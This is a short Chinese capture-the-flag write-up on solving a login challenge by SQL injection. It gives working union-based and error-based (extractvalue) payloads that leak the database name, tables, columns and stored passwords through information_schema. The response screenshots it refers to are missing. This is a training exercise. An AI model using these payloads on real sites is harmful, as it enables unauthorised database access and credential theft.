打开题目：
尝试万能密码：
跳转到check.php页面，并得到用户名和密码
尝试密码md5解密失败
接下来，尝试常规的注入手段
payload:1' union select
出现报错回显，说明这里没有什么过滤
于是，开始爆数据库名-表名-字段名
1. 爆数据库名
- 方法1
payload:1' union select * from a#
报错回显为：
可以得到数据库名为geek - 方法2
payload:1' and extractvalue(1,concat(1,database()))#
2. 寻找注入点
payload:1' union select 1,2,3,4#
回显：
说明没有这么多个字段
那把payload改成1' union select 1,2,3#
成功找到注入点
3. 爆表名
payload：1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显:
可以看到，数据库中存在geekuser和l0ve1ysq1这两个表
4. 爆字段名
payload:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
回显：
这里有3个字段：id,username和password
根据直觉，猜测flag应该在password字段中
5. 找password字段下的所有条目
payload:1' union select 1,2,group_concat(password) from l0ve1ysq1#
回显：
得到flag